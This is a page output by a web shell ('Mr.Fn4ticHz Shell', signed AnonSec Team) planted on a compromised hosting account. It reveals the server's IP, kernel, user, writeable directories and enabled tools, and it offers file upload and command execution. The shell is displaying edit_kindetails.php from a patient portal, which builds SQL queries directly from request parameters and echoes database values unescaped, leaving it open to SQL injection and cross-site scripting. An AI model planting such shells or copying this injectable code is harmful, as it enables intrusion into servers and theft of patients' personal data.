Mr.Fn4ticHz Shell
Server IP : 162.240.98.243  /  Your IP : 18.118.144.248
Web Server : Apache
System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : btiyawmy ( 1003)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/btiyawmy/public_html/login.easenup.in/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/btiyawmy/public_html/login.easenup.in/edit_kindetails.php
<?php session_start();
//Code for Registration 
require_once('dbconnection.php');
if(isset($_POST['signup'])) 
{ 
$sql ="UPDATE kindetails SET name='$_POST[name]',relation='$_POST[relation]',	mobileno='$_POST[mobileno]' WHERE patientid='$_GET[patientid]'";
if($qsql = mysqli_query($con,$sql))
		{
    echo "<script>alert('Update successfully');</script><script>window.history.go(-2)</script>;</script>";
  } else {
    echo "Sorry, there was an error uploading your file.";
  } 
    
}

?>




  <?php
session_start();
require_once('dbconnection.php');
include 'patient_menu.php';
include 'header.php';
		$sql ="SELECT * FROM kindetails WHERE patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
		    echo "

		    <div class='content-wrapper'>
    <!-- Content Header (Page header) -->
     <div style = 'display:none;' id = 'loaderImg'> <div class='loader'> </div> </div>


   <form name='signup'  method='post' id='myForm' enctype='multipart/form-data'>
    <div class='center'>
    <table  id='example2' class='table table-bordered table-hover'>
    
 <fieldset><legend>Kin Details</legend>

<tr>
<td>&nbsp;  &nbsp; &nbsp; &nbsp;  Name: </td>
<td><input type='text' name='name' value='$rs[name]'></td>
</tr>

<tr>
<td>&nbsp;  &nbsp; &nbsp; &nbsp;  Relation :  </td>
<td><select name='relation' class='form-control'>
									<option value='$rs[relation]'>$rs[relation]</option>
										<option value='Self'>Self</option>
     <option value='Spouse'>Spouse</option>
    <option value='Son'>Son</option>
    <option value='Daughter'>Daughter</option>
    <option value='Sibling'>Sibling</option>
            <option value='Parent'>Parent</option>
           <option value='Grand Parent'>Grand Parent</option>
            <option value='Grand Child'>Grand Child</option>
											</select></td>
</tr>
<tr>
<td>&nbsp;  &nbsp; &nbsp; &nbsp;  Mobile No: </td>
<td><input type='text' name='mobileno' value='$rs[mobileno]'></td>
</tr>
</table>
</fieldset>
	<button type='submit' name='signup'> <span style='color:WHITE'>Update</SPAN></button>
</div>
</form>
  	 
 ";
		}
		?>


		  <html>
           <head>
               <style>
                     
       .center {
   border: 1px solid grey;
   text-align:;
}
</style>
              
           </head>
    <body>
       
         <?php ?>
   <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.1.1/jquery.min.js"></script>

     <script type="text/javascript">
$(document).ready(function(){
    $('#myForm').submit(function() {
     $('#loaderImg').show(); 
      return true;
    });
});
  </script>
<style>
      #loaderImg {
         position: absolute;
         top: 0;
         bottom: 0;
         left: 0;
         right: 0; 
         margin: auto;
         border: 10px solid grey;
         border-radius: 50%;
         border-top: 10px solid black;
         width: 100px;
         height: 100px;
         animation: spin 1s linear infinite;
      }
      @keyframes spin {
         0% {
            -webkit-transform: rotate(0deg);
            transform: rotate(0deg);
         }
         100% {
            -webkit-transform: rotate(360deg);
            transform: rotate(360deg);
         }
      }
   </style>
		</body>
	
  </html>

Anon7 - 2022
AnonSec Team